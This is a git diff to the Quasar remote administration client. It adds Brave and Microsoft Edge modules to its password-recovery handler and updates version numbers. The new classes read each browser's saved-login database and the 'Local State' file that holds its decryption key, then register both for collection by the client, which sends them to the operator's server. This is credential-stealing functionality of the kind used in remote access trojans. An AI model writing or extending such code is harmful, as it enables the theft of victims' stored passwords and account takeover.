diff --git a/Quasar.Client/Messages/PasswordRecoveryHandler.cs b/Quasar.Client/Messages/PasswordRecoveryHandler.cs index d94761ed..69ba5342 100644 --- a/Quasar.Client/Messages/PasswordRecoveryHandler.cs +++ b/Quasar.Client/Messages/PasswordRecoveryHandler.cs @@ -32,9 +32,11 @@ private void Execute(ISender client, GetPasswords message) var passReaders = new IAccountReader[] { + new BravePassReader(), new ChromePassReader(), new OperaPassReader(), new OperaGXPassReader(), + new EdgePassReader(), new YandexPassReader(), new FirefoxPassReader(), new InternetExplorerPassReader(), diff --git a/Quasar.Client/Properties/AssemblyInfo.cs b/Quasar.Client/Properties/AssemblyInfo.cs index a86203f3..672cfed5 100644 --- a/Quasar.Client/Properties/AssemblyInfo.cs +++ b/Quasar.Client/Properties/AssemblyInfo.cs @@ -30,5 +30,5 @@ // Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern // übernehmen, indem Sie "*" eingeben: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.4.0")] -[assembly: AssemblyFileVersion("1.4.0")] +[assembly: AssemblyVersion("1.4.2")] +[assembly: AssemblyFileVersion("1.4.2")] diff --git a/Quasar.Client/Recovery/Browsers/BravePassReader.cs b/Quasar.Client/Recovery/Browsers/BravePassReader.cs new file mode 100644 index 00000000..ceec03b3 --- /dev/null +++ b/Quasar.Client/Recovery/Browsers/BravePassReader.cs @@ -0,0 +1,30 @@ +using Quasar.Common.Models; +using System; +using System.Collections.Generic; +using System.IO; + +namespace Quasar.Client.Recovery.Browsers +{ + public class BravePassReader : ChromiumBase + { + /// + public override string ApplicationName => "Brave"; + + /// + public override IEnumerable ReadAccounts() + { + try + { + string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data"); + string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "BraveSoftware\\Brave-Browser\\User Data\\Local State"); + return ReadAccounts(filePath, localStatePath); + } + catch (Exception) + { + return new List(); + } + } + } +} diff --git a/Quasar.Client/Recovery/Browsers/EdgePassReader.cs b/Quasar.Client/Recovery/Browsers/EdgePassReader.cs new file mode 100644 index 00000000..3e66044c --- /dev/null +++ b/Quasar.Client/Recovery/Browsers/EdgePassReader.cs @@ -0,0 +1,30 @@ +using Quasar.Common.Models; +using System; +using System.Collections.Generic; +using System.IO; + +namespace Quasar.Client.Recovery.Browsers +{ + public class EdgePassReader : ChromiumBase + { + /// + public override string ApplicationName => "Microsoft Edge"; + + /// + public override IEnumerable ReadAccounts() + { + try + { + string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "Microsoft\\Edge\\User Data\\Default\\Login Data"); + string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "Microsoft\\Edge\\User Data\\Local State"); + return ReadAccounts(filePath, localStatePath); + } + catch (Exception) + { + return new List(); + } + } + } +} diff --git a/Quasar.Common.Tests/Properties/AssemblyInfo.cs b/Quasar.Common.Tests/Properties/AssemblyInfo.cs index 80abfd66..b4a30e51 100644 --- a/Quasar.Common.Tests/Properties/AssemblyInfo.cs +++ b/Quasar.Common.Tests/Properties/AssemblyInfo.cs @@ -16,5 +16,5 @@ [assembly: Guid("cfda6d2e-8ab3-4349-b89a-33e1f0dab32b")] // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.4.0")] -[assembly: AssemblyFileVersion("1.4.0")] +[assembly: AssemblyVersion("1.4.2")] +[assembly: AssemblyFileVersion("1.4.2")] diff --git a/Quasar.Common/Properties/AssemblyInfo.cs b/Quasar.Common/Properties/AssemblyInfo.cs index ba6e4d35..f243c46a 100644 --- a/Quasar.Common/Properties/AssemblyInfo.cs +++ b/Quasar.Common/Properties/AssemblyInfo.cs @@ -33,5 +33,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.4.0")] -[assembly: AssemblyFileVersion("1.4.0")] +[assembly: AssemblyVersion("1.4.2")] +[assembly: AssemblyFileVersion("1.4.2")] diff --git a/Quasar.Server/Properties/AssemblyInfo.cs b/Quasar.Server/Properties/AssemblyInfo.cs index 413dd6ab..b1681b69 100644 --- a/Quasar.Server/Properties/AssemblyInfo.cs +++ b/Quasar.Server/Properties/AssemblyInfo.cs @@ -30,5 +30,5 @@ // Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern // übernehmen, indem Sie "*" eingeben: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.4.0")] -[assembly: AssemblyFileVersion("1.4.0")] \ No newline at end of file +[assembly: AssemblyVersion("1.4.2")] +[assembly: AssemblyFileVersion("1.4.2")] \ No newline at end of file